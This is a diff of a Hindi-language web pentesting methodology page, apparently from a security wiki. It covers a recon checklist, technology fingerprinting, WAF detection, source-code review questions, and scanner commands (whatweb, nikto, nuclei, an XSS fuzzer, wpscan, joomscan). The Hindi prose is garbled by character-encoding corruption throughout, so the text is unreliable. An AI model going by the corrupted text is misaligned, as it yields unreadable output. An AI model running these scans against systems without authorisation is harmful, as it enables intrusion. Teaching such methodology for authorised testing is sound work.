+> рдЗрд╕ рдкрджреНрдзрддрд┐ рдореЗрдВ рд╣рдо рдпрд╣ рдорд╛рдирдХрд░ рдЪрд▓реЗрдВрдЧреЗ рдХрд┐ рдЖрдк рдХреЗрд╡рд▓ рдПрдХ domain (рдпрд╛ subdomain) рдкрд░ рд╣реА attack рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ рдпрд╣ рдкрджреНрдзрддрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЦреЛрдЬреЗ рдЧрдП domain, subdomain рдпрд╛ рдЙрд╕ scope рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА undetermined web server рд╡рд╛рд▓реЗ IP рдкрд░ рд▓рд╛рдЧреВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдПред
-- [ ] рд╢реБрд░реБрдЖрдд рдХрд░реЗрдВ: рд╡реЗрдм рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд░рд╣реА **рддрдХрдиреАрдХреЗрдВ** рдХреА **рдкрд╣рдЪрд╛рди** рдХрд░реЗрдВред рдпрджрд┐ рдЖрдк рдЯреЗрдХ рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЯреЗрд╕реНрдЯ рдХреЗ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕реЛрдВ рдореЗрдВ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЙрдкрдпреЛрдЧреА **tricks** рджреЗрдЦреЗрдВред
-- [ ] рдХреНрдпрд╛ рдЙрд╕ рддрдХрдиреАрдХ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд▓рд┐рдП рдХреЛрдИ **known vulnerability** рдореМрдЬреВрдж рд╣реИ?
-- [ ] рдХреНрдпрд╛ рдХреЛрдИ **well known tech** рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ? рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ **useful trick** рд╣реИ?
-- [ ] рдХреНрдпрд╛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ **specialised scanner** рд╣реИ (рдЬреИрд╕реЗ wpscan)?
-- [ ] **general purposes scanners** рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред рдкрддрд╛ рдирд╣реАрдВ рд╡реЗ рдХреБрдЫ рдкрд╛рдПрдБрдЧреЗ рдпрд╛ рдХреЛрдИ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓реЗрдЧреАред
-- [ ] **initial checks** рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдВ: **robots**, **sitemap**, **404** error рдФрд░ **SSL/TLS scan** (рдпрджрд┐ **HTTPS**)ред
-- [ ] рд╡реЗрдм рдкреЗрдЬ рдкрд░ **spidering** рд╢реБрд░реВ рдХрд░реЗрдВ: рдЕрдм рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд **files, folders** рдФрд░ рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣реЗ **parameters** рдХреЛ **find** рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИред рд╕рд╛рде рд╣реА **special findings** рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред
-- [ ] _рдиреЛрдЯ: рдЬрдм рднреА brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдХреЛрдИ рдирдпрд╛ directory рдорд┐рд▓рддрд╛ рд╣реИ, рдЙрд╕реЗ spider рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП._
-- [ ] **Directory Brute-Forcing**: рдЦреЛрдЬреЗ рдЧрдП рд╕рднреА folders рдХреЛ brute force рдХрд░рдХреЗ рдирдП **files** рдФрд░ **directories** рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
-- [ ] _рдиреЛрдЯ: рдЬрдм рднреА brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдХреЛрдИ рдирдпрд╛ directory рдорд┐рд▓рддрд╛ рд╣реИ, рдЙрд╕реЗ Brute-Forced рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП._
-- [ ] **Backups checking**: рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЦреЛрдЬреЗ рдЧрдП **files** рдХреЗ **backups** рд╕рд╛рдорд╛рдиреНрдп backup extensions рдЬреЛрдбрд╝рдХрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
-- [ ] **Brute-Force parameters**: рдЫрд┐рдкреЗ рд╣реБрдП **parameters** рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред
-- [ ] рдЬрдм рдЖрдкрдиреЗ рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд **endpoints** рдЬреЛ **user input** рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ **рдкрд╣рдЪрд╛рди** рд▓рд┐рдП рд╣реЛрдВ, рддреЛ рдЙрдирд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рднреА рдкреНрд░рдХрд╛рд░ рдХреА **vulnerabilities** рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред
+- [ ] рд╢реБрд░реБрдЖрдд рдХрд░реЗрдВ рдФрд░ **identify** рдХрд░реЗрдВ рдХрд┐ web server рдХреМрди-рдХреМрди рд╕реА **technologies** рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдЖрдк tech рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЯреЗрд╕реНрдЯ рдХреЗ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕реЛрдВ рдХреЗ рджреМрд░рд╛рди рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ **tricks** рджреЗрдЦреЗрдВред
+- [ ] рдХреНрдпрд╛ рдЙрд╕ technology рдХреЗ version рдХреА рдХреЛрдИ known vulnerability рд╣реИ?
+- [ ] рдХреЛрдИ well known tech рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣рд╛ рд╣реИ? рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЙрдкрдпреЛрдЧреА trick рд╣реИ?
+- [ ] рдХреЛрдИ specialised scanner рдЪрд▓рд╛рдиреЗ рд▓рд╛рдпрдХ рд╣реИ (рдЬреИрд╕реЗ wpscan)?
+- [ ] general purposes scanners рдЪрд▓рд╛рдПрдБред рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╡реЗ рдХреБрдЫ рдкрд╛рдПрдВрдЧреЗ рдпрд╛ рдХреЛрдИ interesting information рдирд┐рдХрд╛рд▓реЗрдВрдЧреЗред
+- [ ] рд╢реБрд░реВ рдХрд░реЗрдВ **рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЬрд╛рдВрдЪ**: **robots**, **sitemap**, **404** error рдФрд░ **SSL/TLS scan** (рдпрджрд┐ **HTTPS**)ред
+- [ ] Start **spidering** the web page: рдпрд╣ рд╕рдордп рд╣реИ рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд **files**, **folders** рдФрд░ **parameters** рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ред рд╕рд╛рде рд╣реА, special findings рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред
+- [ ] _рдиреЛрдЯ рдХрд┐ рдЬрдм рднреА рдХреЛрдИ рдирдпрд╛ directory brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдЦреЛрдЬрд╛ рдЬрд╛рдП, рдЙрд╕реЗ spider рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП._
+- [ ] **Directory Brute-Forcing**: рдкрд╛рдП рдЧрдП рд╕рднреА folders рдкрд░ brute force рдХрд░реЗрдВ рддрд╛рдХрд┐ рдирдП **files** рдФрд░ **directories** рдорд┐рд▓ рд╕рдХреЗрдВред
+- [ ] _рдиреЛрдЯ рдХрд┐ рдЬрдм рднреА рдХреЛрдИ рдирдпрд╛ directory brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдЦреЛрдЬрд╛ рдЬрд╛рдП, рдЙрд╕реЗ Brute-Forced рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП._
+- [ ] **Backups checking**: рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЦреЛрдЬреЗ рдЧрдП files рдХреЗ backups рд╕рд╛рдорд╛рдиреНрдп backup extensions рдЬреЛрдбрд╝рдХрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
+- [ ] **Brute-Force parameters**: рдЫреБрдкреЗ рд╣реБрдП parameters рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред
+- [ ] рдЬрдм рдЖрдкрдиреЗ рдЙрди рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд endpoints рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд▓реА рд╣реЛ рдЬреЛ user input рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЙрдирд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рднреА рдкреНрд░рдХрд╛рд░ рдХреА vulnerabilities рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред
- [ ] [рдЗрд╕ рдЪреЗрдХрд▓рд┐рд╕реНрдЯ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ](../../pentesting-web/web-vulnerabilities-methodology.md)
-## рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг (Vulnerable?)
+## Server Version (Vulnerable?)
-### рдкрд╣рдЪрд╛рди
+### рдкрд╣рдЪрд╛рдиреЗрдВ
-рдЪреЗрдХ рдХрд░реЗрдВ рдХрд┐ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рдЙрд╕ **version** рдХреЗ рд▓рд┐рдП рдХреЛрдИ **known vulnerabilities** рдореМрдЬреВрдж рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред\
-рд░рд┐рд╕реНрдкреЙрдиреНрд╕ рдХреЗ **HTTP headers** рдФрд░ **cookies** рдЙрд╕ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд░рд╣реА **technologies** рдФрд░/рдпрд╛ **version** рдХреА **identify** рдХрд░рдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред **Nmap scan** рд╕рд░реНрд╡рд░ рд╡рд░реНрдЬрди рдкрд╣рдЪрд╛рди рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпреЗ tools рднреА рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
+рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЪрд▓ рд░рд╣реЗ server version рдХреЗ рд▓рд┐рдП рдХреЛрдИ known vulnerabilities рд╣реИрдВред\
+HTTP headers рдФрд░ response рдХреЗ cookies рддрдХрдиреАрдХреЗрдВ рдФрд░/рдпрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣рд╛ version рдкрд╣рдЪрд╛рдирдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред Nmap scan server version рдкрд╣рдЪрд╛рди рд╕рдХрддрд╛ рд╣реИ, рдкрд░ рдпрд╣ tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) рдпрд╛ [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 #Stealthy
whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-рдЦреЛрдЬреЗрдВ [**рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдХрдордЬреЛрд░рд┐рдпрд╛рдБ**](../../generic-hacking/search-exploits.md)
+рдЦреЛрдЬреЗрдВ [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
-### **рдХреЛрдИ WAF рд╣реИ рдпрд╛ рдирд╣реАрдВ рдЬрд╛рдВрдЪреЗрдВ**
+### **рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ WAF рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
-### рд╡реЗрдм рдЯреЗрдХ рдЯреНрд░рд┐рдХреНрд╕
+### Web tech tricks
-рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд░рд╣реА рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рд╕рд┐рджреНрдз рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЯреНрд░рд┐рдХреНрд╕:
+рдХреБрдЫ **tricks** рдЙрди рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рд╕рд┐рджреНрдз **technologies** рдореЗрдВ **vulnerabilities** рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИрдВ:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@@ -102,28 +102,27 @@ webanalyze -host https://google.com -crawl 2
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
-_рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдПрдХ рд╣реА **domain** рд╡рд┐рднрд┐рдиреНрди **technologies** рдХреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ **ports**, **folders** рдФрд░ **subdomains** рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ._\
-рдпрджрд┐ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд┐рд╕реА рднреА рдкреНрд░рд╕рд┐рджреНрдз рдкрд╣рд▓реЗ рд╕реВрдЪреАрдмрджреНрдз **tech/platform** рдпрд╛ **рдХрд┐рд╕реА рдЕрдиреНрдп** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдирдП рдЯреНрд░рд┐рдХреНрд╕ рдХреЗ рд▓рд┐рдП рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ (рдФрд░ рдореБрдЭреЗ рдмрддрд╛рдПрдВ!).
+_рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВ рдХрд┐ рд╡рд╣реА **same domain** рд╡рд┐рднрд┐рдиреНрди **ports**, **folders** рдФрд░ **subdomains** рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди **technologies** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ._\
+рдпрджрд┐ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд┐рд╕реА рднреА рдкреНрд░рд╕рд┐рджреНрдз **tech/platform listed before** рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдирдИ tricks рдХреЗ рд▓рд┐рдП рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ (рдФрд░ рдореБрдЭреЗ рдмрддрд╛рдЗрдП!).
### рд╕реНрд░реЛрдд рдХреЛрдб рд╕рдореАрдХреНрд╖рд╛
-рдпрджрд┐ рдЖрд╡реЗрджрди рдХрд╛ **source code** **github** рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИ, рддреЛ рдЖрд╡реЗрджрди рдкрд░ рдЕрдкрдиреЗ рджреНрд╡рд╛рд░рд╛ рдПрдХ **White box test** рдХрд░рдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬреЛ рд╡рд░реНрддрдорд╛рди **Black-Box testing** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИ:
-
-- рдХреНрдпрд╛ рдХреЛрдИ **Change-log** рдпрд╛ **Readme** рдпрд╛ **Version** рдлрд╛рдЗрд▓ рдпрд╛ рдХреЛрдИ рднреА рдРрд╕реА рдЪреАрдЬрд╝ рд╣реИ рдЬрд┐рд╕рдореЗрдВ version info рд╡реЗрдм рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИ?
-- credentials рдХрд┐рд╕ рддрд░рд╣ рдФрд░ рдХрд╣рд╛рдБ saved рд╣реИрдВ? рдХреНрдпрд╛ рдХреЛрдИ (accessible?) **file** credentials (usernames рдпрд╛ passwords) рдХреЗ рд╕рд╛рде рдореМрдЬреВрдж рд╣реИ?
-- рдХреНрдпрд╛ **passwords** **plain text** рдореЗрдВ рд╣реИрдВ, **encrypted** рд╣реИрдВ рдпрд╛ рдХрд┐рд╕ **hashing algorithm** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ?
-- рдХреНрдпрд╛ рдпрд╣ рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЛ encrypt рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА **master key** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ? рдХреМрди рд╕рд╛ **algorithm** рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ?
-- рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА vulnerability рдХрд╛ exploit рдХрд░рдХреЗ рдЗрди рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА **file** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ?
-- рдХреНрдпрд╛ **github** рдореЗрдВ рдХреЛрдИ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА рд╣реИ (solved рдФрд░ not solved) **issues** рдореЗрдВ? рдпрд╛ **commit history** рдореЗрдВ (рд╢рд╛рдпрдж рдХреЛрдИ **password** рдкреБрд░рд╛рдиреЗ commit рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реЛ)?
+рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ **source code** **github** рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИ, рддреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░ рдПрдХ **White box test** рдХрд░рдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рдРрд╕реА **information** рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬреЛ рд╡рд░реНрддрдорд╛рди **Black-Box testing** рдХреЗ рд▓рд┐рдП **useful** рд╣реЛ:
+- рдХреНрдпрд╛ рдХреЛрдИ **Change-log or Readme or Version** file рдпрд╛ рдХреЛрдИ рдРрд╕реА рдЪреАрдЬрд╝ рд╣реИ рдЬрд┐рд╕рдореЗрдВ **version info accessible** рд╡реЗрдм рдХреЗ рдЬрд░рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛ?
+- credentials рдХреИрд╕реЗ рдФрд░ рдХрд╣рд╛рдБ рд╕реЗрд╡ рд╣реЛрддреЗ рд╣реИрдВ? рдХреНрдпрд╛ рдХреЛрдИ (accessible?) **file** рд╣реИ рдЬрд┐рд╕рдореЗрдВ credentials (usernames рдпрд╛ passwords) рд╣реИрдВ?
+- рдХреНрдпрд╛ passwords plain text рдореЗрдВ рд╣реИрдВ, encrypted рд╣реИрдВ рдпрд╛ рдХрд┐рд╕ **hashing algorithm** рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реБрдЖ рд╣реИ?
+- рдХреНрдпрд╛ рдпрд╣ рдХрд┐рд╕реА **master key** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХреЛ encrypt рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП? рдХреМрди рд╕рд╛ **algorithm** рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ?
+- рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА vulnerability рдХреЛ exploit рдХрд░рдХреЗ рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ?
+- рдХреНрдпрд╛ **github** рдореЗрдВ (solved рдФрд░ not solved) **issues** рдореЗрдВ рдХреЛрдИ рджрд┐рд▓рдЪрд╕реНрдк information рд╣реИ? рдпрд╛ **commit history** рдореЗрдВ (рд╢рд╛рдпрдж рдХрд┐рд╕реА рдкреБрд░рд╛рдиреЗ commit рдореЗрдВ рдХреЛрдИ password introduce рд╣реБрдЖ рд╣реЛ)?
{{#ref}}
code-review-tools.md
{{#endref}}
-### рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреИрдирд░реНрд╕
+### Automatic scanners
-#### рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рдпреЛрдЬрди рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреИрдирд░реНрд╕
+#### General purpose automatic scanners
```bash
nikto -h
whatweb -a 4
@@ -135,12 +134,12 @@ nuclei -ut && nuclei -target
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
-#### CMS рд╕реНрдХреИрдирд░
+#### CMS scanners
-рдпрджрд┐ рдХрд┐рд╕реА CMS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рддреЛ **рд╕реНрдХреИрдирд░ рдЪрд▓рд╛рдирд╛** рди рднреВрд▓реЗрдВ тАФ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдорд┐рд▓ рдЬрд╛рдП:
+рдпрджрд┐ CMS рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣рд╛ рд╣реИ рддреЛ **run a scanner** рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ тАФ рд╢рд╛рдпрдж рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдорд┐рд▓ рдЬрд╛рдП:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдПред (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** Security issues рдХреЗ рд▓рд┐рдП рд╡реЗрдмрд╕рд╛рдЗрдЯреНрд╕ред (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **рдпрд╛** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -150,15 +149,15 @@ wpscan --force update -e --url
joomscan --ec -u
joomlavs.rb #https://github.com/rastating/joomlavs
```
-> рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ web server рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП (рдпрджрд┐ рдХреЛрдИ рдбреЗрдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЯреНрд░рд┐рдХреНрд╕ред рдЕрдЧрд░ рдЖрдк рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ рддреЛ рдЖрдкрдиреЗ рдПрдХ CMS рднреА рдкрд╛рдпрд╛ рд╣реЛрдЧрд╛ рдФрд░ рдХреБрдЫ scanner рдЪрд▓рд╛рдпрд╛ рд╣реЛрдЧрд╛ред
+> рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд╡реЗрдм рд╕рд░реНрд╡рд░ (рдпрджрд┐ рдХреЛрдИ рдбреЗрдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдФрд░ рдЯреЗрд╕реНрдЯ рдХреЗ рджреМрд░рд╛рди рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЯреНрд░рд┐рдХреНрд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рдЕрдЧрд░ рдЖрдк рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ рддреЛ рдЖрдкрдиреЗ рдПрдХ CMS рднреА рдЦреЛрдЬ рд▓рд┐рдпрд╛ рд╣реЛрдЧрд╛ рдФрд░ рдХреБрдЫ рд╕реНрдХреИрдирд░ рдЪрд▓рд╛ рд▓рд┐рдпрд╛ рд╣реЛрдЧрд╛ред
-## рдЪрд░рдг-рджрд░-рдЪрд░рдг рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЦреЛрдЬ
+## Step-by-step Web Application Discovery
> рдЗрд╕ рдмрд┐рдВрджреБ рд╕реЗ рд╣рдо рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВрдЧреЗред
